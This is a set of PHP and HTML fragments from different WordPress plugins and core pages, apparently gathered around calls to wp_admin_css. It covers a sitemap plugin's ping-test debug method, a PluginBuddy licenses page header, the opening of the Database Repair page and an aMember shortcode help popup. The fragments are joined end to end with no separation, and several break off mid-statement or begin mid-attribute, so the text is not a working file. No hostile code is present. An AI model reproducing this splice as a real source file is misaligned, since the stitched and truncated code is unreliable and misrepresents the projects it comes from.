/** * Tries to ping a specific service showing as much as debug output as possible * @since 3.1.9 * @return null */ public function ShowPingResult() { check_admin_referer('sitemap'); if (!current_user_can("administrator")) { echo '<p>Please log in as admin</p>'; return; } $service = !empty($_GET["sm_ping_service"]) ? $_GET["sm_ping_service"] : null; $status = GoogleSitemapGeneratorStatus::Load(); if (!$status) { die("No build status yet. Write something first."); } $url = null; $services = $status->GetUsedPingServices(); if (!in_array($service, $services)) { die("Invalid service"); } $url = $status->GetPingUrl($service); if (empty($url)) { die("Invalid ping url"); } echo '<html><head><title>Ping Test</title>'; if (function_exists('wp_admin_css')) { wp_admin_css('css/global', true); } echo '</head><body><h1>Ping Test</h1>'; echo '<p>Trying to ping: <a href="' . $url . '">' . $url . '</a>. The sections below should give you an idea whats going on.</p>'; //Try to get as much as debug / error output as possible $errLevel = error_reporting(E_ALL); $errDisplay = ini_set("display_errors", 1); if (!defined('WP_DEBUG')) { define('WP_DEBUG', true); } echo '<h2>Errors, Warnings, Notices:</h2>'; if (WP_DEBUG == false) { echo "<i>WP_DEBUG was set to false somewhere before. You might not see all debug information until you remove this declaration!</i><br />"; } if (ini_get("display_errors") != 1) { echo "<i>Your display_errors setting currently prevents the plugin from showing errors here. Please check your webserver logfile instead.</i><br />"; } $res = $this->RemoteOpen($url); echo '<h2>Result (text only):</h2>'; echo wp_kses($res, array('a' => array('href' => array()), 'p' => array(), 'ul' => array(), 'ol' => array(), 'li' => array())); echo '<h2>Result (HTML):</h2>'; echo htmlspecialchars($res); //Revert back old values error_reporting($errLevel); ini_set("display_errors", $errDisplay); echo '</body></html>'; exit; }
} ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html> <head> <title><?php esc_html_e('PluginBuddy Licenses', 'it-l10n-carousel'); ?> </title> <?php wp_enqueue_script('jquery-ui-tabs'); wp_enqueue_style('jquery-tools', plugins_url('/css/tabs.css', __FILE__)); wp_admin_css('global'); wp_admin_css('admin'); wp_admin_css(); wp_admin_css('colors'); do_action('admin_print_styles'); do_action('admin_print_scripts'); do_action('admin_head'); ?> <script type='text/javascript'> jQuery(document).ready(function( $ ) { // setup ul.tabs to work as tabs for each div directly under div.panes jQuery('#pluginbuddy-tabs').tabs(); }); </script> </head> <?php global $current_user; $self_url = add_query_arg(array('slug' => $this->plugin_slug, 'action' => $this->plugin_slug . 'licenses', '_ajax_nonce' => wp_create_nonce($this->plugin_slug . 'licenses')), admin_url('admin-ajax.php')); $licenses = array();
?> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?> > <head> <meta name="viewport" content="width=device-width" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="robots" content="noindex,nofollow" /> <title><?php _e('WordPress › Database Repair'); ?> </title> <?php wp_admin_css('install', true); ?> </head> <body class="wp-core-ui"> <p id="logo"><a href="<?php echo esc_url(__('https://wordpress.org/')); ?> " tabindex="-1"><?php _e('WordPress'); ?> </a></p> <?php if (!defined('WP_ALLOW_REPAIR')) { echo '<h1 class="screen-reader-text">' . __('Allow automatic database repair') . '</h1>'; echo '<p>';
?> ; charset=<?php echo get_option('blog_charset'); ?> " /> <title><?php _e('Rich Editor Help'); ?> </title> <script type="text/javascript" src="<?php print get_option('siteurl'); ?> /wp-includes/js/tinymce/tiny_mce_popup.js?ver=3223"></script> <?php wp_admin_css('global', true); wp_admin_css('wp-admin', true); do_action('admin_print_styles'); do_action('admin_print_scripts'); do_action('admin_head'); // Include amember styles and scripts; ?> </head> <body> <h2><?php _e('aMember Shortcodes', 'am4-plugin'); ?> </h2> <?php $plugin = am4PluginsManager::getPlugin('shortcodes'); print $plugin->getHelp();